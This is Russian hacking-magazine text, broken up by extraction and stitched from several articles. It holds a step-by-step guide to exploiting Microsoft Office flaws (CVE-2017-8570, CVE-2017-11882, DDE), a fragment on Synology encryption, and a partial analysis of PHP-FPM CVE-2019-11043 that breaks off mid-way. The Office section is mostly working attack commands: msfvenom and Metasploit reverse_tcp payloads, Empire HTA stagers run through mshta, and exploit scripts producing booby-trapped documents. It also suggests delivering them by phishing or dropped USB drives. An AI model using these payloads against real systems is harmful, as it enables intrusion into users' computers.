защиту зашиф рован ных фай лов, которую   даже экс плу ата‐ 
ции  уяз вимос ти  на  уров не  заг рузчи ка,  то  у  поль зовате лей  Synology  выбор
прос той:  или  отно ситель но  безопас но,  но  неудоб но  (сетевые  пап ки  мон‐ 
тировать каж дый раз вруч ную, через веб‐интерфейс, вво дя каж дый раз более
или менее стой кий пароль шиф рования), или удоб но, но с нулевым уров нем
безопас ности.  Ком про мис сным  решени ем  будет  хра нение  клю ча  шиф‐ 
рования  на  под клю чаемой  к  устрой ству  флеш ке,  которую  мож но  встав лять
во вре мя заг рузки и извле кать из накопи теля пос ле ее завер шения.

не уда лось про бить
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ВЗЛОМ

В этой статье мы раз берем нес коль ко далеко не новых, но в
свое  вре мя  нашумев ших  кри тичес ких  уяз вимос тей  в  офис‐ 
ных  прог раммах  Microsoft.  Под  них  уже  дав но  есть  модули
Metasploit  и  куча  загото вок  на  GitHub.  Одна ко  неп ропат‐ 
ченный  Office  —  это  по‐преж нему  бич  кор поратив ной
безопас ности и путь на компь ютер поль зовате лей.

НЕКОРРЕКТНАЯ ОБРАБОТКА ОТВЕТОВ ОТ OLE (CVE-2017-8570)
В  осно ве  это го  бага  лежит  ошиб ка,  свя зан ная  с  некор рек тной  обра бот кой
отве тов от сер вера в фун кции Microsoft OLE  (Object Linking and Embedding),
которая дает  воз можность  встра ивать одни докумен ты  внутрь дру гих. Фича,
конеч но, полез ная, но край не небезо пас ная.

Ког да  заражен ный  документ  откры вают,  при ложе ние  дела ет  зап рос
на уда лен ный сер вер, что бы получить встро енный в этот документ файл. Сер‐ 
вер  воз вра щает  спе циаль но  сфор мирован ный  ответ.  В  нем  содер жится
вpедо нос ный  файл  ,  про изволь ный  код  из  которо го  пос ле  заг рузки
выпол няет ся на целевой сис теме.

HTA

Об этой проб леме   в апре ле 2017 года, а в августе про изо‐ 
шел еще один важ ный эпи зод: спе цы из ана лити чес кого отде ла Cisco 

  о  новой  уяз вимос ти,  свя зан ной  с  этой, —  CVE‐2017‐0199.  Если  ранее
для атак исполь зовались докумен ты Rich Text File (RTF), то новая угро за отно‐ 
силась к фай лам PowerPoint (.ppsx).

ста ло извес тно
рас ска‐ 

зали

Прин цип работы
Ата ка, исполь зующая эту  уяз вимость, раз вива ется по весь ма прос тому сце‐ 
нарию:  поль зовате лю  при ходит  пись мо  с  вре донос ным  докумен том  Word
и обма ном зас тавля ет жер тву открыть вло жения. Внут ри докумен та скры вает‐ 
ся  объ ект  OLE2link.  Если  жер тва  исполь зует  Protected  View,  то  экс пло ит
не  сра бота ет,  но  вот  если  этот  режим  вык лючен,  то  на  сер вер  ата кующих
уйдет HTTP‐зап рос, который под гру зит файл HTA, замас кирован ный под RTF.

Заг рузка фай ла HTA, замас кирован ного под документ RTF

Лис тинг дам па в дизас сем бле ре, демонс три рующий «опас ную начин ку»

Ког да файл HTA под гру зит ся, он будет выпол нен авто мати чес ки. Таким обра‐ 
зом экс пло ит сра баты вает, а исходный документ Word будет зак рыт. Вмес то
него  откро ется  документ‐фаль шив ка,  пред назна чен ный  для  усып ления  бди‐ 
тель нос ти жер твы.

Экс плу ата ция
Пер вым делом идем на GitHub и смот рим экс пло иты. Я буду поль зовать ся 

  поль зовате ля  tezukanice. Соз даем  в  дирек тории    пап ку
 и перено сим в нее ска чан ный нами файл  .

ва‐ 
риан том Office8570
template template.ppsx

Под готови тель ный этап

Те перь  запус каем скрипт,  что бы сге нери ровать файл PPSX с  полез ной наг‐ 
рузкой:

 

 

$ python cve‐2017‐8570_toolkit.py ‐M gen ‐w Invoice.ppsx ‐u http://192.
168.0.104/logo.doc

Ука зыва ем IP жер твы (в моем слу чае это 192.168.0.104) и видим, что появил‐ 
ся файл  .Invoice.ppsx

Ге нери руем файл с полез ной наг рузкой

Да лее,  исполь зуя  Metasploit,  соз даем  полез ную  наг рузку  в  виде  фай ла
 в катало ге  :shell.exe tmp

 

 

$ msfvenom ‐p windows/meterpreter/reverse_tcp LHOST=192.168.0.104 
LPORT=4444 ‐f exe > /tmp/shell.exe

Де ло сде лано, теперь запус каем слу шатель, который будет чекать порт:

 

 

$ msfconsole ‐x "use multi/handler; set PAYLOAD windows/meterpreter/re‐
verse_tcp; set LHOST 192.168.0.104; set LPORT 4444; run"

Что бы  все  зарабо тало,  нам  оста ется  сде лать  еще  одно  дей ствие  —  про‐ 
писать коман ду на запуск локаль ного сер вера на 80‐м пор те.

 

 

$ python cve‐2017‐8570_toolkit.py ‐M exp ‐e http://192.168.0.104/shell.
exe ‐l /tmp/shell.exe

И зак лючитель ный шаг — необ ходимо передать инфи циро ван ный файл пре‐ 
зен тации  PowerPoint  ( )  на  машину  жер твы.  Как  —  уже  дру гой
воп рос.  Мож но  под готовить  фишин говое  пись мо,  под бро сить  флеш ку
или  еще  что‐нибудь  в  таком  духе.  Ког да  жер тва  откро ет  файл  на  сво ей
машине, отра бота ет экс пло ит, и мы получим вин довый шелл.

Invoice.ppsx

Де монс тра цию бага можешь наб людать на видео.

ПЕРЕПОЛНЕНИЕ БУФЕРА В РЕДАКТОРЕ ФОРМУЛ (CVE-2017-
11882)
Этот  опас ный  баг,  который  поз воля ет  выпол нить  код  без  вза имо дей ствия
с поль зовате лем, сущес тво вал 17 (сем надцать!) лет.

Ис сле дова тели  объ ясня ют,  что  проб лема  свя зана  с  работой  Microsoft
Equation  Editor  (EQNEDT32.EXE).  Казалось  бы,  это  же  безобид ный  редак тор
фор мул!  Но  ском пилиро ван  этот  файл  в  пос ледний  раз  был  аж  9  нояб‐ 
ря  2000  года.  Разуме ется,  он  не  соот ветс тву ет  сов ремен ным  стан дартам
безопас ности. В Office 2007 этот ком понент замени ли новой вер сией, но ста‐ 
рую уби рать не ста ли — людям же нуж но откры вать ста рые докумен ты, вер‐ 
но?

Ана лити ки  ком пании  Embedi  обна ружи ли  в  EQNEDT32.EXE  сра зу  два  бага,
свя зан ных  с  наруше нием  целос тнос ти  дан ных  в  памяти  (перепол нение
буфера).  Внед рение  в  документ  вре донос ных  объ ектов  OLE,  экс плу ати‐ 
рующих эти уяз вимос ти, поз воля ет выпол нить на машине про изволь ный код,
в том чис ле ска чать любой файл с уда лен ного сер вера и выпол нить его. Неп‐ 
лохо, да?

Экс плу ата ция
И  сно ва  нам  поможет    с  GitHub,  спа сибо  за  него  пар ню
с ник ней мом Ridter. Кло ниру ем репози торий и дела ем скрип ты исполня емы‐ 
ми:

го товый  экс пло ит

 

 

 
 

 

$ git clone https://github.com/Ridter/CVE‐2017‐11882
$ cd CVE‐2017‐11882
$ chmod +x Command109b_CVE‐2017‐11882.py
$ chmod +x Command43b_CVE‐2017‐11882.py

Те перь  нам  понадо бит ся  еще  один  хакер ский  фрей мворк —  Empire.  С  его
помощью мы соз дадим слу шате лей. На слу чай, если ты не зна ком с Empire,
пояс ню,  что  «слу шатель»  (listener)  пред став лен  нашим  IP  и  пор том,  где  мы
будем встре чать соеди нение с машины жер твы.

Ска чива ем Empire:

 

 
$ git clone https://github.com/adaptivethreat/Empire.git

Те перь можешь запус тить и гля нуть дос тупные коман ды, наб рав  .help

Для соз дания слу шате лей пишем сле дующие коман ды:

 

 

 listeners
uselistener http

За даем началь ные уста нов ки:
 — задать имя слу шате ля HTTP;• set <Name http>

 — пишем айпиш ник, куда обра щать ся;• set <Host ip>

 — пишем, на какой порт сту чать;• set <Port>

.• execute

Ког да все будет сде лано, воз вра щаем ся в глав ное меню с помощью коман ды
.main

Воз вра щаем ся в глав ное меню

Соз даем наг рузку HTA сле дующи ми коман дами:
 — юза ем нуж ный нам модуль;• usestager windows/hta

 — акти виру ем лис тенер HTTP;• set Listener http

 — ука зыва ем путь к сох ранению фай ла
и зада ем ему неб роское имя;

• set OutFile /tmp/hack1.hta

 — завер шаем генера цию и выходим из меню.• execute

Соз даем наг рузку

Поч ти  все  сде лано!  Теперь  нуж но  перей ти  в    и  заб рать  отту да  наш
боевой файл  . Его‐то мы и будем запус кать на машине жер твы.

/tmp
hackl.hta

INFO

Фор мат HTA  (HTML Application) поз воля ет откры‐ 
вать  докумен ты  HTML  без  бра узе ра.  Запус кает
такие  при ложе ния  mshta.exe,  где  исполь зует ся
фун кция    (недоку мен‐ 
тирован ная).  За  этим  исполня емым  фай лом
в Windows по умол чанию зак репле но рас ширение
.hta.

RunHTMLApplication

Пос коль ку не любой юзер отва жит ся запус кать на сво ей тач ке HTA, мы завер‐ 
нем его в документ Word. Докумен ты ведь безобид ны, это зна ет каж дый!

Воз вра щаем ся в кон соль и пишем сле дующее:

 

 
$ python Command109b_CVE‐2017‐11882.py ‐c "mshta <link>" ‐o Example.rtf

Здесь   — это URL фай ла  , который лежит на нашем
сер вере.

mshta <link> hack1.hta

Те перь  файл  нуж но  дос тавить  до  целевой  машины.  Как  толь ко  он  будет
открыт,  под нимет ся  соеди нение,  по  которо му  мы  получа ем  дос туп
к PowerShell.

Кон нект к машине жер твы

ЭКСПЛУАТАЦИЯ DDE (CVE-2017-11826)
10 октября 2018 года иссле дова тели из китай ской ком пании Qihoo 360 сооб‐ 
щили об уяз вимос ти нулево го дня в Microsoft Office, которую зло умыш ленни ки
уже активно  экс плу ати рова ли:  устро или  кам панию,  нацелен ную на пред при‐ 
ятия. Ата ка отли чалась тем, что не исполь зовала объ екты OLE или мак росы.

Де монс тра ция
С точ ки зре ния жер твы ата ка выг лядит сле дующим обра зом. При ходит пись‐ 
мо с вло жен ным докумен том, откры ваем и видим сле дующее сооб щение.

Ес ли нажать на кноп ку Yes, то появит ся дру гое сооб щение.

И еще одно.

Ни же  —  дре вовид ное  пред став ление  про цес са.  Такое  мож но  наб людать
при кор рек тной работе экс пло ита.

Заг рузка и выпол нение вре донос ной прог раммы из докумен та Word

Прин цип работы
Тех ника этой ата ки осно вана на доволь но ста рой фун кции Microsoft Dynamic
Data Exchange (DDE), которая поз воля ет одним при ложе ниям Office заг ружать
дан ные  из  дру гих.  К  при меру,  таб лица  в  фай ле  Word  может  авто мати чес ки
обновлять ся  при  каж дом  запус ке  фай ла,  и  дан ные  будут  под тягивать ся
из фай ла Excel.

Как пра вило, при сра баты вании DDE при ложе ние показы вает поль зовате‐ 
лю два пре дуп режде ния, которые мож но уви деть на иллюс тра ции ниже. При‐ 
чем  спе циалис ты  отме чают,  что  вто рое  пре дуп режде ние,  информи рующее
об ошиб ке, может отоб ражать ся далеко не всег да.

Ос новная проб лема здесь в том, что поль зовате ли, которые час то работа ют
с  DDE,  не  обра щают  никако го  вни мания  на  эти  сооб щения.  Такие  пре дуп‐ 
режде ния уже ста ли чем‐то нас толь ко при выч ным, что их зак рыва ют не гля дя.

Ис сле дова тели,  сре ди  которых  сот рудни ки  ком паний  SensePost  и  Cisco
Talos, не раз отме чали, что DDE час то экс плу ати рует ся хакера ми, и пытались
донес ти проб лему до спе циалис тов Microsoft, но те дол го отка зыва лись приз‐ 
нать это уяз вимостью, пока наконец не   ADV170021,  зак рыва‐ 
ющий дыру.

вы пус тили патч

Воз можность  экс плу ата ции  DDE  для  атак  дей стви тель но  не  уяз вимость
в  при выч ном  смыс ле  это го  сло ва.  Ведь  Office  чес тно  пре дуп режда ет  поль‐ 
зовате ля о потен циаль ной опас ности. Ситу ация поч ти ана логич на проб лемам
с мак росами и OLE.

Тем вре менем ата ки с исполь зовани ем DDE вов сю прак тику ют серь езные
хакер ские груп пы, в час тнос ти FIN7, извес тная широко мас штаб ными ата ками
на  финан совые  орга низа ции.  И  сущес тво вание  пат ча  пре пятс тву ет  это му,
но уста нов лен он по‐преж нему далеко не вез де.

Как вклю чить DDE обратно
В сущ ности, патч лишь вно сит неболь шие изме нения в реестр и деак тивиру ет
DDE по умол чанию. Что бы сно ва вклю чить эту фун кцию, дос таточ но поменять
зна чение одно го клю ча:

\HKEY_CURRENT_USER\Software\Microsoft\Office\version\Word\Security 
AllowDDE(DWORD)

Зна чение это го dword может быть одним из сле дующих:
 — отклю чает DDE. Пос ле уста нов ки обновле ния

это зна чение сто ит по умол чанию;
• AllowDDE(DWORD) = 0

 —  раз реша ет  зап росы  DDE  к  уже  запущен ным
прог раммам, но не допус кает запус ка новых;

• AllowDDE(DWORD) = 1

 — раз реша ет любые зап росы.• AllowDDE(DWORD) = 2

Экс плу ата ция
Да вай  пос мотрим,  как  получить  активную  сес сию meterpreter  на  уда лен ном
хос те  (Windows 8.1, Windows 7, Windows Server  2008). Для  это го мы исполь‐ 
зуем скрипт на Python, который генери рует файл RTF. Все необ ходимое вклю‐ 
чено в Metasploit Framework.

Со ответс тву ющий модуль  соз дает  вре донос ный RTF — если открыть его
в уяз вимых вер сиях Word, выпол нится код. Уяз вимость сос тоит в том, что объ‐ 
ект OLE может сде лать зап рос HTTP(S) и выпол нить код HTA в ответ.

Прис тупим к экс плу ата ции.

 

 

 
 

 
 
 

> use exploit/windows/fileformat/office_word_hta
> set srvhost 192.168.0.106
> set payload windows/meterpreter/reverse_tcp
> set filename order.doc
> set lhost 192.168.0.106
> exploit

Вы делен ная крас ным ссыл ка дол жна быть дос тавле на на целевой хост.

Ес ли по ней перей ти и запус тить ска чан ный файл, откро ется активная сес сия
meterpreter.

На бира ем  , что бы убе дить ся, что это победа.sysinfo

ВЫВОДЫ
Мы изу чили три серь езные уяз вимос ти, которые вов сю экс плу ати руют ся зло‐ 
умыш ленни ками.  Все  три  бага  уже  в  той  или  иной  мере  зак рыты  пат чами
и  име ют  некото рые  огра ниче ния,  но  ста рые  вер сии  Office  нас толь ко  рас‐ 
простра нены, что и уяз вимос ти еще дол гое вре мя будут оста вать ся акту аль‐ 
ными.

Пом ни:  обновле ния  —  это  вов се  не  при хоть  Microsoft,  ста вить  пат чи  —
одно  из  обя затель ных  усло вий  безопас ности.  Но  далеко  не  единс твен ное.
Меж ду обна руже нием проб лемы и ее устра нени ем иног да про ходят месяцы,
поэто му,  даже  если  ты  исправ но  ста вишь  апдей ты,  веро ятность  нар вать ся
на документ с сюр при зом всег да оста ется.

https://ru.wikipedia.org/wiki/HTML_Application
https://xakep.ru/2017/04/10/ole2link-0day/
https://xakep.ru/2017/08/15/old-cve-for-powerpoint/
https://github.com/tezukanice/Office8570
https://www.youtube.com/watch?v=46jEa1bmORM
https://github.com/Ridter/CVE-2017-11882
https://xakep.ru/2017/10/12/october-patch-tuesday-2/
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Не дав но  в  связ ке  из  nginx  и  PHP‐FPM,  которая  неред ко
встре чает ся  на  веб‐сер верах,  мои  кол леги  обна ружи ли
опас ную  уяз вимость.  Соз данный  ими  экс пло ит  поз воля ет
изме нить  нас трой ки  PHP,  внед рив  перемен ные  окру жения,
а  цепоч ка  таких  нас тро ек  при ведет  к  уда лен ному  выпол‐ 
нению кода. Давай раз бирать ся, где же там накося чили раз‐ 
работ чики PHP.

Впер вые ано маль ное поведе ние было обна руже но Андре ем   Данау
во  вре мя  ква лифи кации  Real  World  CTF  2019.  Сер вер  стран но  реаги ровал
на  отправ ленный  в  URL  сим вол  перево да  стро ки  ( ).  Этой  иде ей  заин‐ 
тересо вались Омар   Гани ев и Эмиль   Лер нер. Эмиль разоб‐ 
рался,  почему  так  про исхо дит,  нашел  спо соб  экс плу ата ции  и  написал
рабочий экс пло ит, а Омар довел этот баг до получе ния RCE.

@d90pwn

%0a
@beched @neex

Суть проб лемы сво дит ся к тому, что в некото рых кон фигура циях FPM зло‐ 
умыш ленник  может  выпол нить  ата ку  типа  buffer  underflow  и  осу щес твить
запись в адресное прос транс тво, зарезер вирован ное для дан ных про токо ла
FastCGI.  Это  поз волит  выпол нять  про изволь ные  коман ды  на  целевой  сис‐ 
теме.

Уяз вимость  получи ла  иден тифика тор    и  про вока цион ное
наз вание  PHuiP‐FPizdaM.  Для  экс плу ата ции  ата кующе му  не  нуж но  никаких
прав, поэто му баг име ет кри тичес кий ста тус. Проб лема при сутс тву ет в обе их
вет ках PHP — 5 и 7, одна ко из‐за осо бен ностей опти миза ции экс плу ата ция
воз можна толь ко в PHP седь мой вер сии.

CVE‐2019‐11043

INFO

Пол ный спи сок уяз вимых вер сий:
PHP вет ки 7.1.x — все вер сии ниже 7.1.33;•
PHP вет ки 7.2.x — все вер сии ниже 7.2.24;•
PHP вет ки 7.3.x — все вер сии ниже 7.3.11.•

СТЕНД
Для начала нам нужен стенд. Я буду исполь зовать уже полюбив шиеся кон тей‐ 
неры Docker. Если не хочешь возить ся с отладкой, то мож но прос то запус тить

.го товое окру жение с vulhub

docker-compose.yml
version: '2'
services:
 nginx:
   image: nginx:1
   volumes:
     ‐ ./www:/usr/share/nginx/html
     ‐ ./default.conf:/etc/nginx/conf.d/default.conf
   depends_on:
     ‐ php
   ports:
     ‐ "8080:80"
 php:
   image: php:7.2.10‐fpm
   volumes:
     ‐ ./www:/var/www/html

За пус кает ся прос той коман дой  .docker‐compose up ‐d
Я  собира юсь  пос мотреть  на  уяз вимость  поб лиже,  поэто му  будем

собирать PHP из исходни ков. Для начала запус каем Debian.

$ docker run ‐‐rm ‐ti ‐‐cap‐add=SYS_PTRACE ‐‐security‐opt seccomp=
unconfined ‐‐name=phprce ‐‐hostname=phprce ‐p80:80 debian /bin/bash
$ apt update

Те перь позабо тим ся об уста нов ке нуж ных пакетов.

$ apt install ‐y build‐essential git autoconf automake libtool re2c 
bison libxml2‐dev libgd‐dev curl gdb libssl‐dev nginx vim nano

Возь мем пос леднюю уяз вимую вер сию PHP — 7.3.10.

$ cd ~
$ git clone ‐‐depth=1 ‐‐branch PHP‐7.3.10 https://github.com/php/
php‐src.git
$ cd php‐src

Скон фигури руем PHP с под дер жкой PHP‐FPM.

$ ./buildconf ‐‐force
$ ./configure ‐‐enable‐debug ‐‐enable‐fpm ‐‐with‐openssl 
‐‐with‐fpm‐user="www‐data" ‐‐with‐fpm‐group="www‐data"

Те перь дело за ком пиляци ей и уста нов кой. Здесь все стан дар тно.

$ make
$ make install

Ме няем име на стан дар тных кон фигура цион ных фай лов.

$ mv /usr/local/etc/php‐fpm.conf.default /usr/local/etc/php‐fpm.conf
$ mv /usr/local/etc/php‐fpm.d/www.conf.default /usr/local/etc/
php‐fpm.d/www.conf

Да лее изме няем путь до пап ки, где находят ся кон фиги.

$ sed ‐s ‐i 's/=NONE/=\/usr\/local/' /usr/local/etc/php‐fpm.conf

В  кон фиге  PHP‐FPM  ( )  нас тра иваем
количес тво дочер них про цес сов. Что бы было про ще отла живать, рекомен дую
пос тавить 1.

/usr/local/etc/php‐fpm.d/www.conf

pm = static
pm.max_children = 1

Те перь дело за фай лами кон фигура ции для nginx.

/etc/nginx/sites-enabled/default
server {
   listen 80 default_server;
   listen [::]:80 default_server;

   root /var/www/html;

   index index.html index.php;

   server_name _;

   location ~ [^/]\.php(/|$) {
       fastcgi_split_path_info ^(.+?\.php)(/.*)$;

       include fastcgi_params;
       fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_
name;
       fastcgi_param PATH_INFO       $fastcgi_path_info;
       fastcgi_param PATH_TRANSLATED $document_root$fastcg
i_path_info;

       fastcgi_pass   127.0.0.1:9000;
       fastcgi_index  index.php;
   }
}

В    ука зан  адрес  нашего  PHP‐FPM,  по  умол чанию  он  висит
на 9000‐м пор те. Некото рые час ти  кон фига я пояс ню,  ког да буду раз бирать
уяз вимость.

fastcgi_pass

За тем  нуж но  соз дать файл  PHP  в  кор не  веб‐сер вера  ( ).
Тут подой дет даже пус той скрипт,  глав ное,  что бы он имел рас ширение  .php
и nginx отправ лял его к PHP. Я соз дал  , который выводит при ветс‐ 
твие.

/var/www/html/

index.php

/var/www/html/index.php
<?php
echo 'Hi there!';

Те перь все готово, мож но запус кать nginx.

$ service nginx start

А затем и PHP‐FPM через отладчик.

$ gdb ‐‐args php‐fpm ‐‐nodaemonize

Для GDB вклю чаем воз можность отла живать дочер ние про цес сы и запус каем
сер вис.

set follow‐fork‐mode child
r

Го товый к работе стенд с PHP‐FPM и nginx

ДЕТАЛИ УЯЗВИМОСТИ
Пер вым делом заг лянем в  .ком мит, который пат чит уяз вимость

Ком мит, который пат чит уяз вимость CVE‐2019‐11043 в PHP 7.3.10

/php-src-php-7.3.10/sapi/fpm/fpm/fpm_main.c
1151: path_info = env_path_info ? env_path_info + pilen ‐ slen : NULL
;
1152: tflag = (orig_path_info != path_info);

/php-src-php-7.3.11/sapi/fpm/fpm/fpm_main.c
1151: path_info = (env_path_info && pilen > slen) ? env_path_info + 
pilen ‐ slen : NULL;
1152: tflag = path_info && (orig_path_info != path_info);

Как видишь, добав лены допол нитель ные про вер ки для перемен ных 
 и  . В этой час ти кода обра баты вают ся пути вида  .

path_in‐
fo tflag /info.php/test

Пос тавим  брейк‐пой нт  чуть  выше  запат ченных  строк,  на  стро ке  1143,
и поп робу ем отпра вить GET‐зап рос с бай том перено са стро ки ( ).%0a

http://phprce.vh/index.php/path%0Ainfo.php

/php-src-php-7.3.10/sapi/fpm/fpm/fpm_main.c
1141: int ptlen = strlen(pt);
1142: int slen = len ‐ ptlen;
1143: int pilen = env_path_info ? strlen(env_path_info) : 0;
1144: int tflag = 0;

От работал брейк‐пой нт в фун кции init_request_info пос ле отправ ки бай ‐
та 0x0a

Ра зуме ется, сна чала URL попада ет в nginx. Напом ню строч ку из кон фига.

default
location ~ [^/]\.php(/|$) {
   fastcgi_split_path_info ^(.+?\.php)(/.*)$;

Пе редан ный  байт  перено са  стро ки  лома ет  логику  регуляр ного  выраже ния
в  дирек тиве  .  В  резуль тате  перемен ная 
при нима ет пус тое зна чение, и   ста новит ся рав ной 0. Затем на осно ве
этих зна чений выс читыва ется  .

fastcgi_split_path_info env_path_info
pilen

path_info

/php-src-php-7.3.10/sapi/fpm/fpm/fpm_main.c
1151: path_info = env_path_info ? env_path_info + pilen ‐ slen : NULL
;

Ког да  зап рашива емый  файл  не  уда ется  най ти,  PHP‐FPM  идет  выше  по  URI
и  пыта ется  заново  отпра вить  зап рос  на  сто ящий  выше  скрипт,  если  такой
есть. Опре деля ется по зна кам  . Таким обра зом, если я зап рошу 

,  то  отра бота ет  скрипт  ,  так
как   у меня отсутс тву ет.

/ http://ph‐
prce.vh/index.php/info.php index.php

info.php

PHP‐FPM переда ет управле ние сто яще му выше скрип ту, если не най ден
зап рашива емый

/php-src-php-7.3.10/sapi/fpm/fpm/fpm_main.c
1113: if (script_path_translated &&
1114:     (script_path_translated_len = strlen(script_path_translated
)) > 0 &&
1115:     (script_path_translated[script_path_translated_len‐1] == '/
' ||
1116:     (real_path = tsrm_realpath(script_path_translated, NULL)) 
== NULL)
1117: ) {
1118:     char *pt = estrndup(script_path_translated, script_path_tra
nslated_len);
1119:     int len = script_path_translated_len;
1120:     char *ptr;
1121:
1122:     if (pt) {
1123:         while ((ptr = strrchr(pt, '/')) || (ptr = strrchr(pt, 
'\\'))) {
1124:             *ptr = 0;
1125:             if (stat(pt, &st) == 0 && S_ISREG(st.st_mode)) {

По это му  есть  две  перемен ные:    —  пол ный  URI
и   — путь до скрип та выше. В нашем слу чае они име ют дли ну 37 (0x25) и 23
(0x17) бай та соот ветс твен но.

script_path_translated
pt

  — • script_path_translated /var/www/html/index.php/path\

ninfo.php

 — • pt /var/www/html/index.php

Пе ремен ные пути до скрип тов и их дли на

На осно ве этих перемен ных счи тает ся  .slen

/php-src-php-7.3.10/sapi/fpm/fpm/fpm_main.c
1119: int len = script_path_translated_len;
...
1141: int ptlen = strlen(pt);
1142: int slen = len ‐ ptlen;

А затем выс читыва ется  .path_info

Пе ремен ные, на осно ве которых выс читыва ется path_info

/php-src-php-7.3.10/sapi/fpm/fpm/fpm_main.c
1151: path_info = env_path_info ? env_path_info + pilen ‐ slen : NULL
;

Сей час в выраже нии    толь ко   отлична
от нуля  (0xe). Поэто му    будет  ука зывать  не  туда,  куда нуж но,  а  на
адрес, который рас полага ется выше. В моем слу чае это стро ка   по адре су

. Такая уяз вимость называ ется buffer underflow.

env_path_info + pilen ‐ slen slen
path_info

200
0x555556618672

0x555556618680 (реальный адрес значения path_info) ‐ 0x0e (slen) = 
0x555556618672

Ори гиналь ный адрес зна чения path_info и адрес пос ле buffer underflow

Ес ли  пос мотреть  на  код  фун кции    даль ше,  то  уви дим
любопыт ный кусок.

init_request_info

/php-src-php-7.3.10/sapi/fpm/fpm/fpm_main.c
1161: path_info[0] = 0;

Так  как  мы  управля ем  дли ной  ,  то  смо жем  записать  null‐байт  в  любую
позицию выше  . Что бы понять, что из это го мож но извлечь, нуж но
разоб рать ся,  как  PHP‐FPM  работа ет  с  перемен ными  окру жения.  Если  пос‐ 
мотреть  код  чуть  даль ше,  то  мы  уви дим,  что  там  уста нав лива ется  одна
из них —  .

slen
PATH_INFO

ORIG_SCRIPT_NAME

/php-src-php-7.3.10/sapi/fpm/fpm/fpm_main.c
1165: FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name);

Фун кция   ини циали зиро вана как  .FCGI_PUTENV fcgi_quick_putenv

/php-src-php-7.3.10/main/fastcgi.h
41: #define FCGI_PUTENV(request, name, value) \
42:   fcgi_quick_putenv(request, name, sizeof(name)‐1, FCGI_HASH_FUNC
(name, sizeof(name)‐1), value)

Ес ли ты пос мотришь на ее код, то уви дишь, что она нап рямую модифи циру ет
.req‐>env

/php-src-php-7.3.10/main/fastcgi.c
1705: char* fcgi_quick_putenv(fcgi_request *req, char* var, int 
var_len, unsigned int hash_value, char* val)
1706: {
1707:   if (val == NULL) {
1708:     fcgi_hash_del(&req‐>env, hash_value, var, var_len);
1709:     return NULL;
1710:   } else {
1711:     return fcgi_hash_set(&req‐>env, hash_value, var, var_len, 
val, (unsigned int)strlen(val));
1712:   }
1713: }

Эта конс трук ция ини циали зиру ется в самом начале работы с зап росом фун‐ 
кци ей  .fcgi_hash_init

/php-src-php-7.3.10/main/fastcgi.c
880: fcgi_request *fcgi_init_request(int listen_socket, void(*on_acc
ept)(), void(*on_read)(), void(*on_close)())
881: {
...
910:   fcgi_hash_init(&req‐>env);

/php-src-php-7.3.10/main/fastcgi.c
256: static void fcgi_hash_init(fcgi_hash *h)
257: {
258:   memset(h‐>hash_table, 0, sizeof(h‐>hash_table));
259:   h‐>list = NULL;
260:   h‐>buckets = (fcgi_hash_buckets*)malloc(sizeof(fcgi_h
ash_buckets));
261:   h‐>buckets‐>idx = 0;
262:   h‐>buckets‐>next = NULL;
263:   h‐>data = (fcgi_data_seg*)malloc(sizeof(fcgi_data_seg) ‐ 1 + 
FCGI_HASH_SEG_SIZE);
264:   h‐>data‐>pos = h‐>data‐>data;
265:   h‐>data‐>end = h‐>data‐>pos + FCGI_HASH_SEG_SIZE;
266:   h‐>data‐>next = NULL;
267: }

Здесь видим, что   — это струк тура  .req‐>env fcgi_data_seg

/php-src-php-7.3.10/main/fastcgi.c
188: typedef struct _fcgi_data_seg {
189:   char                  *pos;
190:   char                  *end;
191:   struct _fcgi_data_seg *next;
192:   char                   data[1];а
193: } fcgi_data_seg;

В  этой  струк туре  хра нят ся  гло баль ные  перемен ные,  необ ходимые  для  ком‐ 
муника ции про цес са PHP‐FPM и веб‐сер вера (в моем слу чае — nginx). Здесь

 ука зыва ет на адрес текуще го буфера,   — на адрес, где он закан чива‐ 
ется,  а    —  на  то  мес то,  куда  нуж но  записы вать  дан ные.  Ког да  блок
памяти, выделен ный под струк туру, закан чива ется (  боль ше  ),  то соз‐ 
дает ся новая, а адрес текущей записы вает ся в  .

pos end
data

pos end
next

Нап ример, вот так выг лядит эта струк тура для текуще го зап роса и дан ные,
которые в ней хра нят ся.

Струк тура fcgi_data_seg текуще го зап роса и дан ные

Там  находит ся  и  наш  .  Обра ти  вни мание  на  адрес  ,  он  рас‐ 
положен выше, поэто му мож но уста новить ука затель на него и записать туда
null‐байт.

PATH_INFO pos

За голо вок струк туры в памяти PHP‐FPM

Но сна чала необ ходимо соз дать новую струк туру  . Для это го
нуж но запол нить сво бод ную память в текущем бло ке. Если я буду добав лять
сим волы в путь, то ста нет менять ся и  . Если еще раз гля нуть кон фиг ng‐
inx, то мы уви дим там  . В моей кон фигура ции она объ явля ется
рань ше, чем  , а зна чит, и в памяти будет рас полагать ся выше.

fcgi_data_seg

slen
QUERY_STRING

PATH_INFO

/etc/nginx/fastcgi_params
fastcgi_param  QUERY_STRING       $query_string;
fastcgi_param  REQUEST_METHOD     $request_method;
...
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КАК ПОДЧИНИТЬ
КОНФИГ

УЧИМСЯ ЭКСПЛУАТИРОВАТЬ НОВУЮ
УЯЗВИМОСТЬ В PHP‐FPM И NGINX

ВЗЛОМ  НАЧАЛО СТАТЬИ←

По это му  основной мусор  передам  через  парамет ры  к  скрип ту.  Идея  в  сле‐ 
дующем:  нуж но,  манипу лируя  час тями  URL,  добить ся  того,  что бы  зна чение

  попада ло  в  новый  блок  памяти.  Тог да  меж ду  адре сом  зна чения
 и новым   будет 34 бай та.

PATH_INFO
PATH_INFO request.env.data.pos

Так как мы точ но зна ем это зна чение, то можем исполь зовать buffer under‐
flow. С его  помощью пос тавим  ука затель    на 

. У меня получил ся сле дующий URL, в тво ем слу чае он может быть дру гим
из‐за раз ницы в адре сации памяти. Раз ница будет в количес тве сим волов  .

path_info request.env.data.
pos

А

http://phprce.vh/index.php/anything%0Athis_value_you_can_see;
?AAAAAAA...

Даль ше  идет  еще  1750  букв  A.  Не  буду  при водить  их  все,  что бы  не  было
похоже на твит тер в день появ ления смеш ного мема.

Ус тановим  брейк‐пой нт  на  стро ку,  где  про исхо дит  запись  null‐бай та 
,  и  отпра вим  зап рос.  Теперь    ука зыва ет

на адрес  , а это и есть  .
( )b fpm_main.c:1161 path_info

0x5555566194a0 request.env.data.pos

Хи дер новой струк туры fcgi_data_seg до переза писи pos

Сде лаем шаг впе ред и пос мотрим на сос тояние струк туры теперь.

За голо вок новой струк туры fcgi_data_seg пос ле переза писи pos

